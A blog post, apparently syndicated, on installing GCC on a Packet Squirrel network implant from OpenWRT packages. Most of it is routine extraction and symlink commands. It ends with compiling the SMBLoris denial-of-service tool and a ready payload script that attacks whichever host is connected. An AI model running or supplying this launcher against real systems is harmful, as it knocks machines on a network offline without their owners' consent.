Quantcast
Channel: Astr0baby's not so random thoughts _____ rand() % 100;
Viewing all articles
Browse latest Browse all 183

Packet Squirrel GCC and SMBLoris

$
0
0

Since the hardware footprint of the Packet Squirrel is so limited (2 MB for root filesystem  / and 30 MB for tempfs  /tmp) I have decided to find a way how to get GCC compiler and the needed libraries onto the Packet Squirrel without the native opkg package manager.

I have attached an 8 GB USB flash drive to the Packet Squirrel and formatted it from there as EXT4 /dev/sda1 partition

Disk /dev/sda: 7807 MB, 7807401984 bytes
250 heads, 5 sectors/track, 12199 cylinders
Units = cylinders of 1250 * 512 = 640000 bytes

Device Boot Start End Blocks Id System
/dev/sda1 1 12199 7624372+ 83 Linux

/dev/sda1 gets automounted on /mnt upon boot so we can use this extra space for the GCC and other dependencies

Since I did not want to go through the cross-compilation on my x86_64 Linux machine to get the mips binaries I have downloaded the precompiled packages from OpenWRT to my x86_64 Linux laptop

https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/packages/base/

The following packages are needed to get C code to compile natively on the Packet Squirrel

wget https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/packages/base/libbfd_2.24-3_ar71xx.ipk
wget https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/packages/base/libopcodes_2.24-3_ar71xx.ipk
wget https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/packages/base/objdump_2.24-3_ar71xx.ipk
wget https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/packages/base/binutils_2.24-3_ar71xx.ipk
wget https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/packages/packages/gcc_4.8.3-1_ar71xx.ipk

Once the packages are downloaded upload them via scp to the Packet Squirrel to the /mnt partition

scp *.ipk root@172.16.32.1:/mnt/

Login to the Packet Squirrel via ssh

ssh root@172.16.32.1 
root@squirrel:~# mkdir /mnt/tt 
root@squirrel:~# mv /mnt/*.ipk /mnt/tt
root@squirrel:~#

And here is what I did with each ipk package separately on the /mnt/tt
The below is pretty self explanatory, since the ipk is a Gzipped Tarball really
containing other tarballs.

root@squirrel:/mnt/tt# mv libbfd_2.24-3_ar71xx.ipk libbfd_2.24-3_ar71xx.tar.gz
root@squirrel:/mnt/tt# rm -rf b2/
root@squirrel:/mnt/tt# gunzip libbfd_2.24-3_ar71xx.tar.gz 
root@squirrel:/mnt/tt# tar -xvf libbfd_2.24-3_ar71xx.tar 
./debian-binary
./data.tar.gz
./control.tar.gz

We are only interested in the data.tar.gz which contains the compiled binaries
and libraries, so we create a directory called libbfd and move the
data.tar.gz there for extraction

root@squirrel:/mnt/tt# rm debian-binary 
root@squirrel:/mnt/tt# rm control.tar.gz 
root@squirrel:/mnt/tt# rm libbfd_2.24-3_ar71xx.tar 
root@squirrel:/mnt/tt# mkdir libbfd
root@squirrel:/mnt/tt# mv data.tar.gz libbfd/
root@squirrel:/mnt/tt# cd libbfd/
root@squirrel:/mnt/tt/libbfd# ls
data.tar.gz
root@squirrel:/mnt/tt/libbfd# tar -zxvf data.tar.gz 
./
./usr/
./usr/lib/
./usr/lib/libbfd-2.24.so
./usr/lib/libbfd.s
root@squirrel:/mnt/tt/libbfd# ls -la
drwxr-xr-x 3 root root 4096 Jul 14 02:11 .
drwxr-xr-x 7 root root 4096 Jul 14 02:10 ..
-rw-r--r-- 1 107 111 393581 Jan 31 2016 data.tar.gz
drwxr-xr-x 3 root root 4096 Jul 14 02:11 usr
root@squirrel:/mnt/tt/libbfd# rm data.tar.gz 
root@squirrel:/mnt/tt/libbfd# cd usr/
root@squirrel:/mnt/tt/libbfd/usr# cd lib/
root@squirrel:/mnt/tt/libbfd/usr/lib# ls -al
drwxr-xr-x 2 root root 4096 Jul 14 02:11 .
drwxr-xr-x 3 root root 4096 Jul 14 02:11 ..
-rwxr-xr-x 1 root root 935260 Jan 31 2016 libbfd-2.24.so
lrwxrwxrwx 1 root root 14 Jul 14 02:11 libbfd.so -> libbfd-2.24.so

Next we need to create symlinks from the / root filesystem to the extracted binaries
and libraries on the /mnt USB Flash partition

root@squirrel:/mnt/tt/libbfd/usr/lib# pwd
/mnt/tt/libbfd/usr/lib
root@squirrel:/mnt/tt/libbfd/usr/lib# ln -s /mnt/tt/libbfd/usr/lib/libbfd-2.24.so /usr
/lib/libbfd-2.24.so
root@squirrel:/mnt/tt/libbfd/usr/lib# ln -s /mnt/tt/libbfd/usr/lib/libbfd-2.24.so /usr
/lib/libbfd.so

We repeat the same process for the following packages

binutils_2.24-3_ar71xx.ipk
objdump_2.24-3_ar71xx.ipk
libopcodes_2.24-3_ar71xx.ipk

Once we are done with these we can finally move on to the extraction of GCC ipk package

root@squirrel:/mnt/tt/gcc/usr# ls -al
drwxr-xr-x 5 root root 4096 Jul 14 02:06 .
drwxr-xr-x 3 root root 4096 Jul 14 02:39 ..
drwxr-xr-x 2 root root 4096 Jul 14 02:06 bin
drwxr-xr-x 3 root root 4096 Jul 14 02:06 include
drwxr-xr-x 3 root root 4096 Jul 14 02:06 lib

root@squirrel:/mnt/tt/gcc/usr/include# ls -al 
drwxr-xr-x 3 root root 4096 Jul 14 02:06 .
drwxr-xr-x 5 root root 4096 Jul 14 02:06 ..
drwxr-xr-x 3 root root 4096 Jul 14 02:06 c++

So we create a complete directory symlink to /mnt/tt/gcc/include
from /usr on the root filesystem of Packet Squirrel like so

root@squirrel:/mnt/tt/gcc/usr/include# ls -la include
lrwxrwxrwx 1 root root 25 Jul 14 02:11 include -> /mnt/tt/gcc/usr/include/

Next we do the same for the /mnt/tt/gcc/usr/lib/gcc directory

root@squirrel:/mnt/tt/gcc/usr/lib# ls -al
drwxr-xr-x 3 root root 4096 Jul 14 02:06 .
drwxr-xr-x 5 root root 4096 Jul 14 02:06 ..
drwxr-xr-x 3 root root 4096 Jul 14 02:06 gcc

root@squirrel:/usr/lib# ls -la gcc
lrwxrwxrwx 1 root root 25 Jul 14 02:11 gcc -> /disk/tt/gcc/usr/lib/gcc/

So by now you should have a fully working GCC compiler on the Packet Squirrel , you can try run/compile some code (SMBLoris.c for example) that you scp to the device

root@squirrel:/mnt/tt/gcc/usr/bin# ./gcc -v
Using built-in specs.
COLLECT_GCC=./gcc
COLLECT_LTO_WRAPPER=/mnt/tt/gcc/usr/bin/../lib/gcc/mips-openwrt-linux-uclibc/4.8.3/lto-wrapper
Target: mips-openwrt-linux-uclibc
Configured with: /home/buildbot/slave-local/ar71xx_generic/build/build_dir/target-mips_34kc_uClibc-0.9.33.2/gcc-4.8.3/configure --target=mips-openwrt-linux --host=mips-openwrt-linux --build=x86_64-linux-gnu --program-prefix= --program-suffix= --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --libexecdir=/usr/lib --sysconfdir=/etc --datadir=/usr/share --localstatedir=/var --mandir=/usr/man --infodir=/usr/info --disable-nls --build=x86_64-linux-gnu --host=mips-openwrt-linux-uclibc --target=mips-openwrt-linux-uclibc --enable-languages=c,c++ --with-bugurl=https://dev.openwrt.org/ --with-pkgversion='OpenWrt GCC 4.8.3' --enable-shared --disable-__cxa_atexit --enable-target-optspace --with-gnu-ld --disable-nls --disable-libmudflap --disable-multilib --disable-libgomp --disable-libquadmath --disable-libssp --disable-decimal-float --disable-libstdcxx-pch --with-host-libstdcxx=-lstdc++ --prefix=/usr --libexecdir=/usr/lib --with-float=soft
Thread model: posix
gcc version 4.8.3 (OpenWrt GCC 4.8.3)
root@squirrel:/mnt/tt/gcc/usr/bin#./gcc /mnt/smbloris.c -o /mnt/smbloris

The smbloris.c is taken from Hector Marcan’s github here https://gist.github.com/marcan/6a2d14b0e3eaa5de1795a763fb58641e#file-smbloris-c

The following Packet Squirrel code can be used to launch SMBLoris attack from this device onto the local network on which it is connected, set it to switch 1/2/3


# Show SETUP LED 
LED SETUP 
# Set the network mode to NAT 
NETMODE NAT 
sleep 5

# You may want to increase your local conntrack limit
echo 1200000 > /proc/sys/net/netfilter/nf_conntrack_max

# Get the IP address for the connected target machine 
ip="$(cat /var/dhcp.leases | awk '{print $3}')"

# Execute smbloris against the target IP 
/mnt/smbloris eth0 1.1.1.1 255.255.255.254 $ip &

I have tested this against the latest Windows 10 64bit  version 10.0.16299.19 on a physical hardware, the CPU gets to 100 %, memory jumps high as you can see on the video below

Im sure there might be some other tools that can be used in a similar manner (Exploit code written in C for example and compiled on the Packet Squirrel.. the possibilities are endless)

Nevertheless this was a fun exercise


Viewing all articles
Browse latest Browse all 183

Trending Articles